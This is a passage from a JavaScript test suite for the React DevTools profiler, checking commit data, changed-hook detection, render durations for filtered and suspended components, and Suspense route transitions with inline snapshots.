store.profilerStore.stopProfiling());\n    utils.act(() => ReactDOM.unmountComponentAtNode(containerA));\n\n    const rootIDs = Array.from(\n      store.profilerStore.profilingData.dataForRoots.values(),\n    ).map(({rootID}) => rootID);\n    expect(rootIDs).toHaveLength(3);\n\n    const originalProfilingDataForRoot = [];\n\n    let data = store.profilerStore.getDataForRoot(rootIDs[0]);\n    expect(data.displayName).toMatchInlineSnapshot(`\"RootA\"`);\n    expect(data.commitData).toHaveLength(3);\n    originalProfilingDataForRoot.push(data);\n\n    data = store.profilerStore.getDataForRoot(rootIDs[1]);\n    expect(data.displayName).toMatchInlineSnapshot(`\"RootC\"`);\n    expect(data.commitData).toHaveLength(1);\n    originalProfilingDataForRoot.push(data);\n\n    data = store.profilerStore.getDataForRoot(rootIDs[2]);\n    expect(data.displayName).toMatchInlineSnapshot(`\"RootB\"`);\n    expect(data.commitData).toHaveLength(1);\n    originalProfilingDataForRoot.push(data);\n\n    utils.exportImportHelper(bridge, store);\n\n    rootIDs.forEach((rootID, index) => {\n      const current = store.profilerStore.getDataForRoot(rootID);\n      const prev = originalProfilingDataForRoot[index];\n      expect(current).toEqual(prev);\n    });\n  });\n\n  // @reactVersion >= 18\n  it('should collect data for each root (including ones added or mounted after profiling started) (createRoot)', () => {\n    const Parent = ({count}) => {\n      Scheduler.unstable_advanceTime(10);\n      const children = new Array(count)\n        .fill(true)\n        .map((_, index) => <Child key={index} duration={index} />);\n      return (\n        <React.Fragment>\n          {children}\n          <MemoizedChild duration={1} />\n        </React.Fragment>\n      );\n    };\n    const Child = ({duration}) => {\n      Scheduler.unstable_advanceTime(duration);\n      return null;\n    };\n    const MemoizedChild = React.memo(Child);\n\n    const RootA = ({children}) => children;\n    const RootB = ({children}) => children;\n    const RootC = ({children}) => children;\n\n    const containerA = document.createElement('div');\n    const containerB = document.createElement('div');\n    const containerC = document.createElement('div');\n\n    const rootA = ReactDOMClient.createRoot(containerA);\n    const rootB = ReactDOMClient.createRoot(containerB);\n    const rootC = ReactDOMClient.createRoot(containerC);\n\n    utils.act(() =>\n      rootA.render(\n        <RootA>\n          <Parent count={2} />\n        </RootA>,\n      ),\n    );\n    utils.act(() =>\n      rootB.render(\n        <RootB>\n          <Parent count={1} />\n        </RootB>,\n      ),\n    );\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() =>\n      rootA.render(\n        <RootA>\n          <Parent count={3} />\n        </RootA>,\n      ),\n    );\n    utils.act(() =>\n      rootC.render(\n        <RootC>\n          <Parent count={1} />\n        </RootC>,\n      ),\n    );\n    utils.act(() =>\n      rootA.render(\n        <RootA>\n          <Parent count={1} />\n        </RootA>,\n      ),\n    );\n    utils.act(() => rootB.unmount());\n    utils.act(() =>\n      rootA.render(\n        <RootA>\n          <Parent count={0} />\n        </RootA>,\n      ),\n    );\n    utils.act(() => store.profilerStore.stopProfiling());\n    utils.act(() => rootA.unmount());\n\n    const rootIDs = Array.from(\n      store.profilerStore.profilingData.dataForRoots.values(),\n    ).map(({rootID}) => rootID);\n    expect(rootIDs).toHaveLength(3);\n\n    const originalProfilingDataForRoot = [];\n\n    let data = store.profilerStore.getDataForRoot(rootIDs[0]);\n    expect(data.displayName).toMatchInlineSnapshot(`\"RootA\"`);\n    expect(data.commitData).toHaveLength(3);\n    originalProfilingDataForRoot.push(data);\n\n    data = store.profilerStore.getDataForRoot(rootIDs[1]);\n    expect(data.displayName).toMatchInlineSnapshot(`\"RootC\"`);\n    expect(data.commitData).toHaveLength(1);\n    originalProfilingDataForRoot.push(data);\n\n    data = store.profilerStore.getDataForRoot(rootIDs[2]);\n    expect(data.displayName).toMatchInlineSnapshot(`\"RootB\"`);\n    expect(data.commitData).toHaveLength(1);\n    originalProfilingDataForRoot.push(data);\n\n    utils.exportImportHelper(bridge, store);\n\n    rootIDs.forEach((rootID, index) => {\n      const current = store.profilerStore.getDataForRoot(rootID);\n      const prev = originalProfilingDataForRoot[index];\n      expect(current).toEqual(prev);\n    });\n  });\n\n  // @reactVersion >= 16.9\n  it('should collect data for each commit', () => {\n    const Parent = ({count}) => {\n      Scheduler.unstable_advanceTime(10);\n      const children = new Array(count)\n        .fill(true)\n        .map((_, index) => <Child key={index} duration={index} />);\n      return (\n        <React.Fragment>\n          {children}\n          <MemoizedChild duration={1} />\n        </React.Fragment>\n      );\n    };\n    const Child = ({duration}) => {\n      Scheduler.unstable_advanceTime(duration);\n      return null;\n    };\n    const MemoizedChild = React.memo(Child);\n\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => render(<Parent count={2} />));\n    utils.act(() => render(<Parent count={3} />));\n    utils.act(() => render(<Parent count={1} />));\n    utils.act(() => render(<Parent count={0} />));\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const rootID = store.roots[0];\n\n    const prevCommitData =\n      store.profilerStore.getDataForRoot(rootID).commitData;\n    expect(prevCommitData).toHaveLength(4);\n\n    utils.exportImportHelper(bridge, store);\n\n    const nextCommitData =\n      store.profilerStore.getDataForRoot(rootID).commitData;\n    expect(nextCommitData).toHaveLength(4);\n    nextCommitData.forEach((commitData, index) => {\n      expect(commitData).toEqual(prevCommitData[index]);\n    });\n  });\n\n  // @reactVersion >= 18.0\n  it('should properly detect changed hooks', () => {\n    const Context = React.createContext(0);\n\n    function reducer(state, action) {\n      switch (action.type) {\n        case 'invert':\n          return {value: !state.value};\n        default:\n          throw new Error();\n      }\n    }\n\n    let snapshot = 0;\n    function getServerSnapshot() {\n      return snapshot;\n    }\n    function getClientSnapshot() {\n      return snapshot;\n    }\n\n    let syncExternalStoreCallback;\n    function subscribe(callback) {\n      syncExternalStoreCallback = callback;\n    }\n\n    let dispatch = null;\n    let setState = null;\n\n    const Component = ({count, string}) => {\n      // These hooks may change and initiate re-renders.\n      setState = React.useState('abc')[1];\n      dispatch = React.useReducer(reducer, {value: true})[1];\n      React.useSyncExternalStore(\n        subscribe,\n        getClientSnapshot,\n        getServerSnapshot,\n      );\n\n      // This hook's return value may change between renders,\n      // but the hook itself isn't stateful.\n      React.useContext(Context);\n\n      // These hooks never change in a way that schedules an update.\n      React.useCallback(() => () => {}, [string]);\n      React.useMemo(() => string, [string]);\n      React.useCallback(() => () => {}, [count]);\n      React.useMemo(() => count, [count]);\n      React.useCallback(() => () => {});\n      React.useMemo(() => string);\n\n      // These hooks never change in a way that schedules an update.\n      React.useEffect(() => {}, [string]);\n      React.useLayoutEffect(() => {}, [string]);\n      React.useEffect(() => {}, [count]);\n      React.useLayoutEffect(() => {}, [count]);\n      React.useEffect(() => {});\n      React.useLayoutEffect(() => {});\n\n      return null;\n    };\n\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() =>\n      render(\n        <Context.Provider value={true}>\n          <Component count={1} />\n        </Context.Provider>,\n      ),\n    );\n\n    // Save references to the real dispatch/setState functions.\n    // inspectHooks() re-runs the component with a mock dispatcher,\n    // which would overwrite these variables with mock functions that do nothing.\n    const realDispatch = dispatch;\n    const realSetState = setState;\n\n    // Second render has no changed hooks, only changed props.\n    utils.act(() =>\n      render(\n        <Context.Provider value={true}>\n          <Component count={2} />\n        </Context.Provider>,\n      ),\n    );\n\n    // Third render has a changed reducer hook.\n    utils.act(() => realDispatch({type: 'invert'}));\n\n    // Fourth render has a changed state hook.\n    utils.act(() => realSetState('def'));\n\n    // Fifth render has a changed context value, but no changed hook.\n    utils.act(() =>\n      render(\n        <Context.Provider value={false}>\n          <Component count={2} />\n        </Context.Provider>,\n      ),\n    );\n\n    // 6th renderer is triggered by a sync external store change.\n    utils.act(() => {\n      snapshot++;\n      syncExternalStoreCallback();\n    });\n\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const rootID = store.roots[0];\n\n    const changeDescriptions = store.profilerStore\n      .getDataForRoot(rootID)\n      .commitData.map(commitData => commitData.changeDescriptions);\n    expect(changeDescriptions).toHaveLength(6);\n\n    // 1st render: No change\n    expect(changeDescriptions[0]).toMatchInlineSnapshot(`\n      Map {\n        3 => {\n          \"context\": null,\n          \"didHooksChange\": false,\n          \"isFirstMount\": true,\n          \"props\": null,\n          \"state\": null,\n        },\n      }\n    `);\n\n    // 2nd render: Changed props\n    expect(changeDescriptions[1]).toMatchInlineSnapshot(`\n      Map {\n        3 => {\n          \"context\": false,\n          \"didHooksChange\": false,\n          \"hooks\": [],\n          \"isFirstMount\": false,\n          \"props\": [\n            \"count\",\n          ],\n          \"state\": null,\n        },\n      }\n    `);\n\n    // 3rd render: Changed useReducer\n    expect(changeDescriptions[2]).toMatchInlineSnapshot(`\n      Map {\n        3 => {\n          \"context\": false,\n          \"didHooksChange\": true,\n          \"hooks\": [\n            1,\n          ],\n          \"isFirstMount\": false,\n          \"props\": [],\n          \"state\": null,\n        },\n      }\n    `);\n\n    // 4th render: Changed useState\n    expect(changeDescriptions[3]).toMatchInlineSnapshot(`\n      Map {\n        3 => {\n          \"context\": false,\n          \"didHooksChange\": true,\n          \"hooks\": [\n            0,\n          ],\n          \"isFirstMount\": false,\n          \"props\": [],\n          \"state\": null,\n        },\n      }\n    `);\n\n    // 5th render: Changed context\n    expect(changeDescriptions[4]).toMatchInlineSnapshot(`\n      Map {\n        3 => {\n          \"context\": true,\n          \"didHooksChange\": false,\n          \"hooks\": [],\n          \"isFirstMount\": false,\n          \"props\": [],\n          \"state\": null,\n        },\n      }\n    `);\n\n    // 6th render: Sync external store\n    expect(changeDescriptions[5]).toMatchInlineSnapshot(`\n      Map {\n        3 => {\n          \"context\": false,\n          \"didHooksChange\": true,\n          \"hooks\": [\n            2,\n          ],\n          \"isFirstMount\": false,\n          \"props\": [],\n          \"state\": null,\n        },\n      }\n    `);\n\n    expect(changeDescriptions).toHaveLength(6);\n\n    // Export and re-import profile data and make sure it is retained.\n    utils.exportImportHelper(bridge, store);\n\n    for (let commitIndex = 0; commitIndex < 6; commitIndex++) {\n      const commitData = store.profilerStore.getCommitData(rootID, commitIndex);\n      expect(commitData.changeDescriptions).toEqual(\n        changeDescriptions[commitIndex],\n      );\n    }\n  });\n\n  // @reactVersion >= 19.0\n  it('should detect what hooks changed in a render with custom and composite hooks', () => {\n    let snapshot = 0;\n    let syncExternalStoreCallback;\n\n    function subscribe(callback) {\n      syncExternalStoreCallback = callback;\n      return () => {};\n    }\n\n    function getSnapshot() {\n      return snapshot;\n    }\n\n    // Custom hook wrapping multiple primitive hooks\n    function useCustomHook() {\n      const [value, setValue] = React.useState('custom');\n      React.useEffect(() => {}, [value]);\n      return [value, setValue];\n    }\n\n    let setState = null;\n    let startTransition = null;\n    let actionStateDispatch = null;\n    let setCustomValue = null;\n    let setFinalState = null;\n\n    const Component = () => {\n      // Hook 0: useState\n      const [state, _setState] = React.useState('initial');\n      setState = _setState;\n\n      // Hook 1: useSyncExternalStore (composite hook - internally uses multiple hooks)\n      const storeValue = React.useSyncExternalStore(\n        subscribe,\n        getSnapshot,\n        getSnapshot,\n      );\n\n      // Hook 2: useTransition (composite hook - internally uses multiple hooks)\n      const [isPending, _startTransition] = React.useTransition();\n      startTransition = _startTransition;\n\n      // Hook 3: useActionState (composite hook - internally uses multiple hooks)\n      const [actionState, _actionStateDispatch] = React.useActionState(\n        (_prev, action) => action,\n        'action-initial',\n      );\n      actionStateDispatch = _actionStateDispatch;\n\n      // Hook 4: useState inside custom hook (flattened)\n      // Hook 5: useEffect inside custom hook (not stateful, won't show in changes)\n      const [customValue, _setCustomValue] = useCustomHook();\n      setCustomValue = _setCustomValue;\n\n      // Hook 6: direct useState at the end\n      const [finalState, _setFinalState] = React.useState('final');\n      setFinalState = _setFinalState;\n\n      return `${state}-${storeValue}-${isPending}-${actionState}-${customValue}-${finalState}`;\n    };\n\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => render(<Component />));\n\n    // Save references before inspectHooks() overwrites them\n    const realSetState = setState;\n    const realStartTransition = startTransition;\n    const realActionStateDispatch = actionStateDispatch;\n    const realSetCustomValue = setCustomValue;\n    const realSetFinalState = setFinalState;\n\n    // 2nd render: change useState (hook 0)\n    utils.act(() => realSetState('changed'));\n\n    // 3rd render: change useSyncExternalStore (hook 1)\n    utils.act(() => {\n      snapshot = 1;\n      syncExternalStoreCallback();\n    });\n\n    // 4th render: trigger useTransition (hook 2)\n    // Note: useTransition triggers two renders - one when isPending becomes true,\n    // and another when isPending becomes false after the transition completes\n    utils.act(() => {\n      realStartTransition(() => {});\n    });\n\n    // 6th render: change useActionState (hook 3)\n    utils.act(() => realActionStateDispatch('action-changed'));\n\n    // 7th render: change custom hook's useState (hook 4)\n    utils.act(() => realSetCustomValue('custom-changed'));\n\n    // 8th render: change final useState (hook 6)\n    utils.act(() => realSetFinalState('final-changed'));\n\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const rootID = store.roots[0];\n\n    const changeDescriptions = store.profilerStore\n      .getDataForRoot(rootID)\n      .commitData.map(commitData => commitData.changeDescriptions);\n    expect(changeDescriptions).toHaveLength(8);\n\n    // 1st render: Initial mount\n    expect(changeDescriptions[0]).toMatchInlineSnapshot(`\n      Map {\n        2 => {\n          \"context\": null,\n          \"didHooksChange\": false,\n          \"isFirstMount\": true,\n          \"props\": null,\n          \"state\": null,\n        },\n      }\n    `);\n\n    // 2nd render: Changed hook 0 (useState)\n    expect(changeDescriptions[1]).toMatchInlineSnapshot(`\n      Map {\n        2 => {\n          \"context\": false,\n          \"didHooksChange\": true,\n          \"hooks\": [\n            0,\n          ],\n          \"isFirstMount\": false,\n          \"props\": [],\n          \"state\": null,\n        },\n      }\n    `);\n\n    // 3rd render: Changed hook 1 (useSyncExternalStore)\n    expect(changeDescriptions[2]).toMatchInlineSnapshot(`\n      Map {\n        2 => {\n          \"context\": false,\n          \"didHooksChange\": true,\n          \"hooks\": [\n            1,\n          ],\n          \"isFirstMount\": false,\n          \"props\": [],\n          \"state\": null,\n        },\n      }\n    `);\n\n    // 4th render: Changed hook 2 (useTransition - isPending becomes true)\n    expect(changeDescriptions[3]).toMatchInlineSnapshot(`\n      Map {\n        2 => {\n          \"context\": false,\n          \"didHooksChange\": true,\n          \"hooks\": [\n            2,\n          ],\n          \"isFirstMount\": false,\n          \"props\": [],\n          \"state\": null,\n        },\n      }\n    `);\n\n    // 5th render: Changed hook 2 (useTransition - isPending becomes false)\n    expect(changeDescriptions[4]).toMatchInlineSnapshot(`\n      Map {\n        2 => {\n          \"context\": false,\n          \"didHooksChange\": true,\n          \"hooks\": [\n            2,\n          ],\n          \"isFirstMount\": false,\n          \"props\": [],\n          \"state\": null,\n        },\n      }\n    `);\n\n    // 6th render: Changed hook 3 (useActionState)\n    expect(changeDescriptions[5]).toMatchInlineSnapshot(`\n      Map {\n        2 => {\n          \"context\": false,\n          \"didHooksChange\": true,\n          \"hooks\": [\n            3,\n          ],\n          \"isFirstMount\": false,\n          \"props\": [],\n          \"state\": null,\n        },\n      }\n    `);\n\n    // 7th render: Changed hook 4 (useState inside useCustomHook)\n    expect(changeDescriptions[6]).toMatchInlineSnapshot(`\n      Map {\n        2 => {\n          \"context\": false,\n          \"didHooksChange\": true,\n          \"hooks\": [\n            4,\n          ],\n          \"isFirstMount\": false,\n          \"props\": [],\n          \"state\": null,\n        },\n      }\n    `);\n\n    // 8th render: Changed hook 6 (final useState)\n    expect(changeDescriptions[7]).toMatchInlineSnapshot(`\n      Map {\n        2 => {\n          \"context\": false,\n          \"didHooksChange\": true,\n          \"hooks\": [\n            6,\n          ],\n          \"isFirstMount\": false,\n          \"props\": [],\n          \"state\": null,\n        },\n      }\n    `);\n  });\n\n  // @reactVersion >= 19.0\n  it('should detect context changes or lack of changes with conditional use()', () => {\n    const ContextA = React.createContext(0);\n    const ContextB = React.createContext(1);\n    let setState = null;\n\n    const Component = () => {\n      // These hooks may change and initiate re-renders.\n      let state;\n      [state, setState] = React.useState('abc');\n\n      let result = state;\n\n      if (state.includes('a')) {\n        result += React.use(ContextA);\n      }\n\n      result += React.use(ContextB);\n\n      return result;\n    };\n\n    utils.act(() =>\n      render(\n        <ContextA.Provider value={1}>\n          <ContextB.Provider value={1}>\n            <Component />\n          </ContextB.Provider>\n        </ContextA.Provider>,\n      ),\n    );\n\n    // Save reference to the real setState function before profiling starts.\n    // inspectHooks() re-runs the component with a mock dispatcher,\n    // which would overwrite setState with a mock function that does nothing.\n    const realSetState = setState;\n\n    utils.act(() => store.profilerStore.startProfiling());\n\n    // First render changes Context.\n    utils.act(() =>\n      render(\n        <ContextA.Provider value={0}>\n          <ContextB.Provider value={1}>\n            <Component />\n          </ContextB.Provider>\n        </ContextA.Provider>,\n      ),\n    );\n\n    // Second render has no changed Context, only changed state.\n    utils.act(() => realSetState('def'));\n\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const rootID = store.roots[0];\n\n    const changeDescriptions = store.profilerStore\n      .getDataForRoot(rootID)\n      .commitData.map(commitData => commitData.changeDescriptions);\n    expect(changeDescriptions).toHaveLength(2);\n\n    // 1st render: Change to Context\n    expect(changeDescriptions[0]).toMatchInlineSnapshot(`\n      Map {\n        4 => {\n          \"context\": true,\n          \"didHooksChange\": false,\n          \"hooks\": [],\n          \"isFirstMount\": false,\n          \"props\": [],\n          \"state\": null,\n        },\n      }\n    `);\n\n    // 2nd render: Change to State\n    expect(changeDescriptions[1]).toMatchInlineSnapshot(`\n      Map {\n        4 => {\n          \"context\": false,\n          \"didHooksChange\": true,\n          \"hooks\": [\n            0,\n          ],\n          \"isFirstMount\": false,\n          \"props\": [],\n          \"state\": null,\n        },\n      }\n    `);\n\n    expect(changeDescriptions).toHaveLength(2);\n\n    // Export and re-import profile data and make sure it is retained.\n    utils.exportImportHelper(bridge, store);\n\n    for (let commitIndex = 0; commitIndex < 2; commitIndex++) {\n      const commitData = store.profilerStore.getCommitData(rootID, commitIndex);\n      expect(commitData.changeDescriptions).toEqual(\n        changeDescriptions[commitIndex],\n      );\n    }\n  });\n\n  // @reactVersion >= 18.0\n  it('should calculate durations based on actual children (not filtered children)', () => {\n    store.componentFilters = [utils.createDisplayNameFilter('^Parent$')];\n\n    const Grandparent = () => {\n      Scheduler.unstable_advanceTime(10);\n      return (\n        <React.Fragment>\n          <Parent key=\"one\" />\n          <Parent key=\"two\" />\n        </React.Fragment>\n      );\n    };\n    const Parent = () => {\n      Scheduler.unstable_advanceTime(2);\n      return <Child />;\n    };\n    const Child = () => {\n      Scheduler.unstable_advanceTime(1);\n      return null;\n    };\n\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => render(<Grandparent />));\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Grandparent>\n            <Child>\n            <Child>\n    `);\n\n    const rootID = store.roots[0];\n    const commitData = store.profilerStore.getDataForRoot(rootID).commitData;\n    expect(commitData).toHaveLength(1);\n\n    // Actual duration should also include both filtered <Parent> components.\n    expect(commitData[0].fiberActualDurations).toMatchInlineSnapshot(`\n      Map {\n        1 => 16,\n        2 => 16,\n        3 => 1,\n        4 => 1,\n      }\n    `);\n\n    expect(commitData[0].fiberSelfDurations).toMatchInlineSnapshot(`\n      Map {\n        1 => 0,\n        2 => 10,\n        3 => 1,\n        4 => 1,\n      }\n    `);\n  });\n\n  // @reactVersion >= 17.0\n  it('should calculate durations correctly for suspended views', async () => {\n    let data;\n    const getData = () => {\n      if (React.use) {\n        if (!data) {\n          data = new Promise(resolve => {\n            resolve('abc');\n          });\n        }\n        return React.use(data);\n      }\n      if (data) {\n        return data;\n      } else {\n        throw new Promise(resolve => {\n          data = 'abc';\n          resolve(data);\n        });\n      }\n    };\n\n    const Parent = () => {\n      Scheduler.unstable_advanceTime(10);\n      return (\n        <React.Suspense fallback={<Fallback />}>\n          <Async />\n        </React.Suspense>\n      );\n    };\n    const Fallback = () => {\n      Scheduler.unstable_advanceTime(2);\n      return 'Fallback...';\n    };\n    const Async = () => {\n      Scheduler.unstable_advanceTime(3);\n      return getData();\n    };\n\n    utils.act(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => render(<Parent />));\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const rootID = store.roots[0];\n    const commitData = store.profilerStore.getDataForRoot(rootID).commitData;\n    expect(commitData).toHaveLength(2);\n\n    if (React.version.startsWith('17')) {\n      // React 17 will mount all children until it suspends in a LegacyHidden\n      // The ID gap is from the Fiber for <Async> that's in the disconnected tree.\n      expect(commitData[0].fiberActualDurations).toMatchInlineSnapshot(`\n        Map {\n          1 => 15,\n          2 => 15,\n          3 => 5,\n          5 => 2,\n        }\n      `);\n      expect(commitData[0].fiberSelfDurations).toMatchInlineSnapshot(`\n        Map {\n          1 => 0,\n          2 => 10,\n          3 => 3,\n          5 => 2,\n        }\n      `);\n      expect(commitData[1].fiberActualDurations).toMatchInlineSnapshot(`\n        Map {\n          6 => 3,\n          3 => 3,\n        }\n      `);\n      expect(commitData[1].fiberSelfDurations).toMatchInlineSnapshot(`\n        Map {\n          6 => 3,\n          3 => 0,\n        }\n      `);\n    } else {\n      expect(commitData[0].fiberActualDurations).toMatchInlineSnapshot(`\n        Map {\n          1 => 15,\n          2 => 15,\n          3 => 5,\n          4 => 2,\n        }\n      `);\n      expect(commitData[0].fiberSelfDurations).toMatchInlineSnapshot(`\n        Map {\n          1 => 0,\n          2 => 10,\n          3 => 3,\n          4 => 2,\n        }\n      `);\n      expect(commitData[1].fiberActualDurations).toMatchInlineSnapshot(`\n        Map {\n          5 => 3,\n          3 => 3,\n        }\n      `);\n      expect(commitData[1].fiberSelfDurations).toMatchInlineSnapshot(`\n        Map {\n          5 => 3,\n          3 => 0,\n        }\n      `);\n    }\n  });\n\n  // @reactVersion >= 16.9\n  it('should collect data for each rendered fiber', () => {\n    const Parent = ({count}) => {\n      Scheduler.unstable_advanceTime(10);\n      const children = new Array(count)\n        .fill(true)\n        .map((_, index) => <Child key={index} duration={index} />);\n      return (\n        <React.Fragment>\n          {children}\n          <MemoizedChild duration={1} />\n        </React.Fragment>\n      );\n    };\n    const Child = ({duration}) => {\n      Scheduler.unstable_advanceTime(duration);\n      return null;\n    };\n    const MemoizedChild = React.memo(Child);\n\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => render(<Parent count={1} />));\n    utils.act(() => render(<Parent count={2} />));\n    utils.act(() => render(<Parent count={3} />));\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const rootID = store.roots[0];\n    const allFiberCommits = [];\n    for (let index = 0; index < store.numElements; index++) {\n      const fiberID = store.getElementIDAtIndex(index);\n      const fiberCommits = store.profilerStore.profilingCache.getFiberCommits({\n        fiberID,\n        rootID,\n      });\n\n      allFiberCommits.push(fiberCommits);\n    }\n\n    expect(allFiberCommits).toMatchInlineSnapshot(`\n      [\n        [\n          0,\n          1,\n          2,\n        ],\n        [\n          0,\n          1,\n          2,\n        ],\n        [\n          1,\n          2,\n        ],\n        [\n          2,\n        ],\n        [\n          0,\n        ],\n      ]\n    `);\n\n    utils.exportImportHelper(bridge, store);\n\n    for (let index = 0; index < store.numElements; index++) {\n      const fiberID = store.getElementIDAtIndex(index);\n      const fiberCommits = store.profilerStore.profilingCache.getFiberCommits({\n        fiberID,\n        rootID,\n      });\n\n      expect(fiberCommits).toEqual(allFiberCommits[index]);\n    }\n  });\n\n  // @reactVersion >= 18.0.0\n  // @reactVersion <= 18.2.0\n  it('should handle unexpectedly shallow suspense trees for react v[18.0.0 - 18.2.0] (legacy render)', () => {\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() =>\n      legacyRender(<React.Suspense />, document.createElement('div')),\n    );\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const rootID = store.roots[0];\n    const commitData = store.profilerStore.getDataForRoot(rootID).commitData;\n    expect(commitData).toMatchInlineSnapshot(`\n      [\n        {\n          \"changeDescriptions\": Map {},\n          \"duration\": 0,\n          \"effectDuration\": null,\n          \"fiberActualDurations\": Map {\n            1 => 0,\n            2 => 0,\n          },\n          \"fiberSelfDurations\": Map {\n            1 => 0,\n            2 => 0,\n          },\n          \"passiveEffectDuration\": null,\n          \"priorityLevel\": \"Immediate\",\n          \"timestamp\": 0,\n          \"updaters\": [\n            {\n              \"compiledWithForget\": false,\n              \"displayName\": \"render()\",\n              \"env\": null,\n              \"hocDisplayNames\": null,\n              \"id\": 1,\n              \"key\": null,\n              \"stack\": null,\n              \"type\": 11,\n            },\n          ],\n        },\n      ]\n    `);\n  });\n\n  // @reactVersion >= 18.0.0\n  // @reactVersion <= 18.2.0\n  it('should handle unexpectedly shallow suspense trees for react v[18.0.0 - 18.2.0] (createRoot)', () => {\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => render(<React.Suspense />));\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const rootID = store.roots[0];\n    const commitData = store.profilerStore.getDataForRoot(rootID).commitData;\n    expect(commitData).toMatchInlineSnapshot(`\n      [\n        {\n          \"changeDescriptions\": Map {},\n          \"duration\": 0,\n          \"effectDuration\": null,\n          \"fiberActualDurations\": Map {\n            1 => 0,\n            2 => 0,\n          },\n          \"fiberSelfDurations\": Map {\n            1 => 0,\n            2 => 0,\n          },\n          \"passiveEffectDuration\": null,\n          \"priorityLevel\": \"Normal\",\n          \"timestamp\": 0,\n          \"updaters\": [\n            {\n              \"compiledWithForget\": false,\n              \"displayName\": \"createRoot()\",\n              \"env\": null,\n              \"hocDisplayNames\": null,\n              \"id\": 1,\n              \"key\": null,\n              \"stack\": null,\n              \"type\": 11,\n            },\n          ],\n        },\n      ]\n    `);\n  });\n\n  // @reactVersion > 18.2.0\n  it('should handle unexpectedly shallow suspense trees', () => {\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => render(<React.Suspense />));\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const rootID = store.roots[0];\n    const commitData = store.profilerStore.getDataForRoot(rootID).commitData;\n    expect(commitData).toMatchInlineSnapshot(`\n      [\n        {\n          \"changeDescriptions\": Map {},\n          \"duration\": 0,\n          \"effectDuration\": null,\n          \"fiberActualDurations\": Map {\n            1 => 0,\n            2 => 0,\n          },\n          \"fiberSelfDurations\": Map {\n            1 => 0,\n            2 => 0,\n          },\n          \"passiveEffectDuration\": null,\n          \"priorityLevel\": \"Normal\",\n          \"timestamp\": 0,\n          \"updaters\": [\n            {\n              \"compiledWithForget\": false,\n              \"displayName\": \"createRoot()\",\n              \"env\": null,\n              \"hocDisplayNames\": null,\n              \"id\": 1,\n              \"key\": null,\n              \"stack\": null,\n              \"type\": 11,\n            },\n          ],\n        },\n      ]\n    `);\n  });\n\n  // See https://github.com/facebook/react/issues/18831\n  // @reactVersion >= 16.9\n  it('should not crash during route transitions with Suspense', () => {\n    const RouterContext = React.createContext();\n\n    function App() {\n      return (\n        <Router>\n          <Switch>\n            <Route path=\"/\">\n              <Home />\n            </Route>\n            <Route path=\"/about\">\n              <About />\n            </Route>\n          </Switch>\n        </Router>\n      );\n    }\n\n    const Home = () => {\n      return (\n        <React.Suspense>\n          <Link path=\"/about\">Home</Link>\n        </React.Suspense>\n      );\n    };\n\n    const About = () => <div>About</div>;\n\n    // Mimics https://github.com/ReactTraining/react-router/blob/master/packages/react-router/modules/Router.js\n    function Router({children}) {\n      const [path, setPath] = React.useState('/');\n      return (\n        <RouterContext.Provider value={{path, setPath}}>\n          {children}\n        </RouterContext.Provider>\n      );\n    }\n\n    // Mimics https://github.com/ReactTraining/react-router/blob/master/packages/react-router/modules/Switch.js\n    function Switch({children}) {\n      return (\n        <RouterContext.Consumer>\n          {context => {\n            let element = null;\n            React.Children.forEach(children, child => {\n              if (context.path === child.props.path) {\n                element = child.props.children;\n              }\n            });\n            return element ? React.cloneElement(element) : null;\n          }}\n        </RouterContext.Consumer>\n      );\n    }\n\n    // Mimics https://github.com/ReactTraining/react-router/blob/master/packages/react-router/modules/Route.js\n    function Route({children, path}) {\n      return null;\n    }\n\n    const linkRef = React.createRef();\n\n    // Mimics https://github.com/ReactTraining/react-router/blob/master/packages/react-router-dom/modules/Link.js\n    function Link({children, path}) {\n      return (\n        <RouterContext.Consumer>\n          {context => {\n            return (\n              <button ref={linkRef} onClick={() => context.setPath(path)}>\n                {children}\n              </button>\n            );\n          }}\n        </RouterContext.Consumer>\n      );\n    }\n\n    utils.act(() => render(<App />));\n    expect(getContainer().textContent).toBe('Home');\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() =>\n      linkRef.current.dispatchEvent(\n        new MouseEvent('click', {bubbles: true, cancelable: true}),\n      ),\n    );\n    utils.act(() => store.profilerStore.stopProfiling());\n    expect(getContainer().textContent).toBe('About');\n  });\n\n  // @reactVersion >= 18.0\n  it('components that were deleted and added to updaters during the layout phase should not crash', () => {\n    let setChildUnmounted;\n    function Child() {\n      const [, setState] = React.useState(false);\n\n      React.useLayoutEffect(() => {\n        return () => setState(true);\n      });\n\n      return null;\n    }\n\n    function App() {\n      const [childUnmounted, _setChildUnmounted] = React.useState(false);\n      setChildUnmounted = _setChildUnmounted;\n      return <>{!childUnmounted && <Child />}</>;\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    utils.act(() => root.render(<App />));\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => setChildUnmounted(true));\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const updaters = store.profilerStore.getCommitData(\n      store.roots[0],\n      0,\n    ).updaters;\n    expect(updaters.length).toEqual(1);\n    expect(updaters[0].displayName).toEqual('App');\n  });\n\n  // @reactVersion >= 18.0\n  it('components in a deleted subtree and added to updaters during the layout phase should not crash', () => {\n    let setChildUnmounted;\n    function Child() {\n      return <GrandChild />;\n    }\n\n    function GrandChild() {\n      const [, setState] = React.useState(false);\n\n      React.useLayoutEffect(() => {\n        return () => 